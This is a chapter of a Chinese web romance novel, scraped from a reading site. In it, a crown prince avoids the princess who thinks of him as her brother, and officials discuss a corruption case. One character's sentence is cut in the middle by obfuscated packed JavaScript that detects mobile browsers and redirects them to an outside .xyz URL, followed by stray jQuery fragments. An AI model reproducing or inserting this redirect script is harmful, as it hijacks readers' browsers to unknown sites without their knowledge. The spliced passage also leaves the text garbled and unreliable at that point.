默认冷灰
24号文字
方正启体

9. 第 9 章

作者:橘子味汽水瓶盖儿本书字数:K更新时间:
    一连数日,胆小鬼太子爷都对云棠避而不见。


    云棠调理好自己后,回回来找都被打发走,推拒理由也是敷衍地很,不是说在睡觉,就说在看奏疏。


    奏疏都搬到父皇那了,他又在禁足,看得哪门子的奏疏?


    一连几次后,她渐渐觉出不对劲来。


    拉着清月走到一旁无人处,悄声问道:“皇兄这几天是怎么了?被父皇禁足伤心了?”


    清月欲言又止,只是摇摇头。


    “那是御体违和,不愿意见人?”


    清月又摇摇头。


    这身心都没问题,云棠食指敲着手心琢磨道:“东宫封禁了,别人进不来,外人就我和小侯爷在,他见小侯爷吗?”


    清月点点头。


    哈!


    那就只是不想见她?!


    这些年了,还是第一次出现这个毛病。


    她做了什么,令他生出了厌恶?


    “是我的问题?”云棠问清月,“我做了什么惹他生气了?”


    清月左看右看,确定无人,才附在她耳边,小声说了一句。


    云棠一听就炸了,“就因为我听到他有心上人了?他心上人是什么奇世珍宝吗?别人听都不能听!”


    平常她有什么都会跟他说,什么好吃的好玩的都会想到他!


    他可倒好,去了一趟江南,回来就整出来个,她听一耳朵就要厌恶她的心上人!


    她好不容把自己调理好了,他还先生上气了!


    云棠一股邪火在脑门上迎风飘扬,气地她原地转了好几个圈!


    他还先生气了!


    “公主,你不知道是谁?”


    清月那晚没能拦住公主,战战兢兢地陪着她站在门外,殿下与皇后娘娘虽没明说,但话里话外指的就是她。


    竟然没猜出来?


    可若是没猜出来,那为何次日一早不来一道用早膳?


    云棠眯起眼审视,稍稍后仰歪着头瞧她,“我该知道吗?”


    清月惊觉自己说错话,“扑通”一声就跪下了,惊慌地道:“奴婢什么都没说,公主莫要猜了。”


    云棠越发起了疑心。


    她应该知道的话,就不是江南认识的。


    京中的?


    她想来想去,只想到一个华姐姐,但华姐姐给小侯爷绣绸帕了。


    不会吧...不是吧...


    她不是呆瓜,还真被她说中了?难怪那天他沉着个脸、一言不发!


    像华姐姐这等样貌人才,无论得谁的青眼都是理所当然,但小侯爷、太子哥哥,手心手背都是肉,他们当真争起来,她就很难抉择支持谁了。


    “你们在做什么?”小侯爷满园子溜达,在紫藤花阴下瞧见了两人,好奇道:“说什么呢?”


    云棠看到他,没来由地有点心虚,一把将清月捞了起来,“没什么,说出不去闷得慌。”


    清月脸上的惊惶之色未褪,前头自己没拦住人,殿下法外开恩,未做处罚。


    这次是一犯再犯,她恐怕是没命可活了。


    “东宫应该没几日就要解封了,再忍忍吧。”


    “你怎么知道,这人都不能进出,你消息怎么回回这么灵通?”云棠问道。


    小侯爷眉开眼笑,满脸骄傲:“山人自有妙计。”


    清月朝两位贵人行礼告退,左脚刚踏进伏波院,就被通传去见殿下。


    清月:......


    “见过公主了?”


    太子站在窗前,阳光落到他的身上,看不清面容,红锦地衣上拉出长长的背影,而清月就跪在影子边上。


    她的肩膀瑟缩颤抖着,背脊上冷汗频出,双手和头都伏在地上。


    “回殿下,奴婢刚与公主说了一会儿话。”


    声音里都带着恐惧,“公主问奴婢,殿下是不是在生她的气。”


    李蹊:“生什么气?”


    她重重地磕了三个头,豁出命去道:“公主猜测因为她偷听到殿下有心上人,而生她的气。”


    李蹊的身形像是僵了般一动不动,良久后,他手背朝外地摆了摆手,示意她退下。


    清月大喜,整个人犹如走了一趟鬼门关,手软脚乱、心跳轰鸣地爬起来出去了。


    高高在上的太子爷并不比她好多少。


    这几天的心烦意乱终于露出了谜底。


    原来她不知道,听到那些话,一点都没往自己身上想。


    是他这个哥哥做得太称职。


    “殿下,”徐常侍走了进来,“陛下有口谕,传您即刻进宫。”


    李蹊收敛心神,沉沉的眉眼看了一眼窗外的明艳海棠,道:“更衣,进宫。”


    与东宫同步解封的还有崔府,崔尚书这些日子端坐家中,一想到开霁告发自己贪污受贿,老血都要吐上好几口。


    白眼狼啊白眼狼。


    但他又实在舍不得这白眼狼,在狱中那么久,不知被折磨成什么样了。


    如今自己这头开释,开霁那头肯定要被定罪,他琢磨着疏通关系,争取个轻判也好。


    但一想到陛下将此案让殿下全权处理,眉间皱得能夹死苍蝇。


    他不好去狱中探望,琢磨着让女儿去,谁知她竟断然拒绝,甚至直言。


    “他这种忘恩负义、实利成癖的人,活着不如死了!”


    “你怎么这么说!”崔钟林胡子气翘起来,“先头他在咱家住着的时候,你不是还哥哥长、哥哥短地叫着。”


    “爹,您也说是以前了!您再对他掏心掏肺也是白费!”


    “嘿!”老崔老来得女,养得十分骄纵,长辈面前什么话都敢讲,什么脸子都敢甩。


    见女儿指望不上,只好招来家奴收拾些细软吃食送过去。


    这消息很快传到了太子的耳朵里。


    太子身旁还有一人,是负责此次案件的大理寺少卿郑更。


    此人为人刚直、敢参敢言,是个官场有名的硬骨头。


    他敢这么刚硬,一是个性使然,二是有王牌护身。


    当年陛下带着百官南下逃难时遭遇刺杀,郑更的父亲,轻城侯为陛下挡了一箭不幸殒命。


    陛下欠郑家一条性命,所以只要郑更没有投敌叛国,就是一世的荣华富贵。


    “自当年大乱之后,还没有出过这样的事情,一国储君,说封禁就封禁,如此儿戏,不是吉兆啊。”


    郑更摇摇头,说话声音不算小。


    太子爷瞥了他一眼,忍了。


    “冰冻三尺非一日之寒,孤与陛下之间的嫌隙年深日久,这次的事只是个由头。”


    封禁是陛下对我的警告,不要试图挑战他的底线。


    郑更愤愤不平,“此次崔尚书的贪腐案,证人突然反了水,贺开霁那边给的证据,只能抓个尚书府的小小管家,丢人啊!”


    “陛下如此高高拿起,轻轻放下,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457648|169590||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是明君所为。”他仰头看着高而远的天,叹道。


    身边的太子没了声音,他转头看去,看到一双黑沉沉、寒浸浸的眼。


    “郑卿慎言,这话要是传到陛下耳朵里,你有免死金牌护身,孤怕是要圈禁至死了。”


    郑更摸了摸后脑勺,严肃刚直的脸上掰扯出一丝憨笑,“殿下恕罪。”


    “此次涉案的贺开霁、周世达,你整理好卷宗,陛下授命孤来处置这两人,”他顿了下,稍加斟酌道,“言官贺开霁的卷宗,要细细整理,不可遗漏一点。”


    啊?


    郑更没懂殿下的言下之意,试探问道。


    “要弄死啊?”


    李蹊今日忍了他许多次,怒意上涌又深深忍住,手握成拳,放到唇边咳嗽了一声。


    这个人实在不聪明,轻城侯那么个灵光的人,怎么就生了这么个实心棒槌。


    “别人问起,只说从严。”


    两人一路走来,已走出太初殿的御道,太子的轿撵就等在十步远处。


    郑更不想让太子走,又跟着他走了几步,问道:“为什么?殿下处事一向不偏不倚,怎么也要徇私枉法吗?”


    李蹊跨过轿撵的前横拦,语重心长,“羡公垂钓,愿者上钩,别再问了,去做就是。”


    “哦哦,这样。”


    郑更有些脸红地立在道旁,目送殿下回宫,然后转身往大理寺行去,他打算彻夜不眠,尽早将殿下吩咐的差事办妥。


    李蹊回到东宫时,已近黄昏。


    柔和的夕阳如暖纱虚虚地笼着这座宫殿,檐下铜铃随风轻摆,洒落细碎的金光。


    “殿下,小侯爷出宫了,现下公主正在兰若庭收拾东西,说也要回昭和殿去。”徐常侍道。


    李蹊揉了揉眉心,一向锋利凛冽的眉眼垂了下去。


    晕黄的光线落在他的眼睫上,眨眼间,轻轻颤动,露出些日常的柔和、亲近。


    “先去兰若庭。”他穿着一身正红的官袍,去解决另一桩悬而未决、更为棘手的官司。


    徐常侍讶然,跟着劝道:“殿下,这,这还是先换身衣裳再去吧。”


    李蹊只快步往兰若庭走,边走边吩咐去做一桌云棠喜欢吃的席面。


    远远能看到院中的那架秋千时,他的唇角带起若有似无的笑意,比黄昏的光还要轻柔、缱绻。


    他走去寝殿的窗边,随意地倚着窗台,摘了一朵窗台上的茉莉,递到鼻尖轻嗅,是清新、纯粹的花香。


    里头的云棠指挥着侍女,地上摆着好几只箱笼,像是要把兰若庭里的物件悉数都带走。


    “阿棠,”他笑着唤道,“饿不饿。”


    云棠转身,看着太子哥哥的笑颜,他身后是无尽的落日与簌簌飘动的树叶。


    像从前很多个黄昏,他来学堂接自己下学,也是这样站在窗边,笑着问她,饿不饿。


    不知为何,鼻子有点酸。


    或许年少的岁月真的远去了,太子哥哥不会再属于她一个人。


    她低下头眨了眨眼睛,压下眼中的涩意,再抬头时,已经挂上一张笑脸,脚步轻快地走到窗边。


    “好吧,我原谅你了。”


    “原谅我什么?”


    原谅你有了至死不渝的爱人却没有告诉我,原谅你不再把我当成无话不说的妹妹。


    原谅你突然拉着我长大。


    “原谅你这么晚才来找我吃饭。”云棠笑着说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)